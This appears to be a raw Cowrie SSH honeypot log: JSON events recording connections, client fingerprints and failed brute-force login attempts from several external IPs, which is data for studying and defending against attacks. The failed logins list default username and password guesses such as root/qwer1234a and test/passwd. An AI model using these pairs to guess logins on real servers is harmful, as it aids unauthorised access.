{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234a","message":"login attempt [root/qwer1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:05.090239Z","src_ip":"103.27.238.114","session":"1b1189457bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:06.379663Z","src_ip":"103.27.238.114","session":"1b1189457bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:06.892975Z","src_ip":"91.92.42.133","session":"301bda46a82c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:08.237259Z","src_ip":"91.92.42.133","session":"301bda46a82c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44720,"dst_ip":"159.203.135.109","dst_port":22,"session":"e378e4997648","protocol":"ssh","message":"New connection: 91.92.42.133:44720 (159.203.135.109:22) [session: e378e4997648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:11.466097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:11.651002Z","src_ip":"91.92.42.133","session":"e378e4997648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:11.653919Z","src_ip":"91.92.42.133","session":"e378e4997648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:12.393158Z","src_ip":"91.92.42.133","session":"e378e4997648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:13.649515Z","src_ip":"91.92.42.133","session":"e378e4997648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50786,"dst_ip":"159.203.135.109","dst_port":22,"session":"32de59ec4ec8","protocol":"ssh","message":"New connection: 91.92.42.133:50786 (159.203.135.109:22) [session: 32de59ec4ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:19.087751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:19.253599Z","src_ip":"91.92.42.133","session":"32de59ec4ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:19.257665Z","src_ip":"91.92.42.133","session":"32de59ec4ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:20.609902Z","src_ip":"91.92.42.133","session":"32de59ec4ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:21.746408Z","src_ip":"91.92.42.133","session":"32de59ec4ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43542,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f71fdf3c7ea","protocol":"ssh","message":"New connection: 91.92.42.133:43542 (159.203.135.109:22) [session: 5f71fdf3c7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:26.398586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:26.807988Z","src_ip":"91.92.42.133","session":"5f71fdf3c7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:26.811219Z","src_ip":"91.92.42.133","session":"5f71fdf3c7ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567890","message":"login attempt [minecraft/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:28.638798Z","src_ip":"91.92.42.133","session":"5f71fdf3c7ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:30.125548Z","src_ip":"91.92.42.133","session":"5f71fdf3c7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41780,"dst_ip":"159.203.135.109","dst_port":22,"session":"84aedf3f1212","protocol":"ssh","message":"New connection: 91.92.42.133:41780 (159.203.135.109:22) [session: 84aedf3f1212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:34.657891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:34.965880Z","src_ip":"91.92.42.133","session":"84aedf3f1212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:34.968644Z","src_ip":"91.92.42.133","session":"84aedf3f1212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:36.173259Z","src_ip":"91.92.42.133","session":"84aedf3f1212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:37.530516Z","src_ip":"91.92.42.133","session":"84aedf3f1212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41888,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aefd9cdbd51","protocol":"ssh","message":"New connection: 91.92.42.133:41888 (159.203.135.109:22) [session: 8aefd9cdbd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:42.348224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:42.564588Z","src_ip":"91.92.42.133","session":"8aefd9cdbd51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:42.568920Z","src_ip":"91.92.42.133","session":"8aefd9cdbd51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:44.560087Z","src_ip":"91.92.42.133","session":"8aefd9cdbd51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:45.989744Z","src_ip":"91.92.42.133","session":"8aefd9cdbd51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce804a6228aa","protocol":"ssh","message":"New connection: 91.92.42.133:57078 (159.203.135.109:22) [session: ce804a6228aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:50.201187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:50.257815Z","src_ip":"91.92.42.133","session":"ce804a6228aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:50.310388Z","src_ip":"91.92.42.133","session":"ce804a6228aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"test","message":"login attempt [runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:51.037608Z","src_ip":"91.92.42.133","session":"ce804a6228aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:52.174526Z","src_ip":"91.92.42.133","session":"ce804a6228aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":38991,"dst_ip":"159.203.135.109","dst_port":22,"session":"590281404f3a","protocol":"ssh","message":"New connection: 112.216.108.62:38991 (159.203.135.109:22) [session: 590281404f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:53.220253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:53.225077Z","src_ip":"112.216.108.62","session":"590281404f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:53.442371Z","src_ip":"112.216.108.62","session":"590281404f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert1234","message":"login attempt [root/qwert1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:54.313430Z","src_ip":"112.216.108.62","session":"590281404f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":44068,"dst_ip":"10.17.0.5","dst_port":22,"session":"841c51b12870","protocol":"ssh","message":"New connection: 117.121.214.50:44068 (10.17.0.5:22) [session: 841c51b12870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:54.684843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:54.689637Z","src_ip":"117.121.214.50","session":"841c51b12870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:54.929085Z","src_ip":"117.121.214.50","session":"841c51b12870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:55.524377Z","src_ip":"112.216.108.62","session":"590281404f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asd","password":"asd123","message":"login attempt [asd/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:55.923288Z","src_ip":"117.121.214.50","session":"841c51b12870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52250,"dst_ip":"159.203.135.109","dst_port":22,"session":"2949082c3da7","protocol":"ssh","message":"New connection: 91.92.42.133:52250 (159.203.135.109:22) [session: 2949082c3da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:57.047893Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:57.165271Z","src_ip":"117.121.214.50","session":"841c51b12870","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:57.280743Z","src_ip":"91.92.42.133","session":"2949082c3da7","protocol":"ssh"}
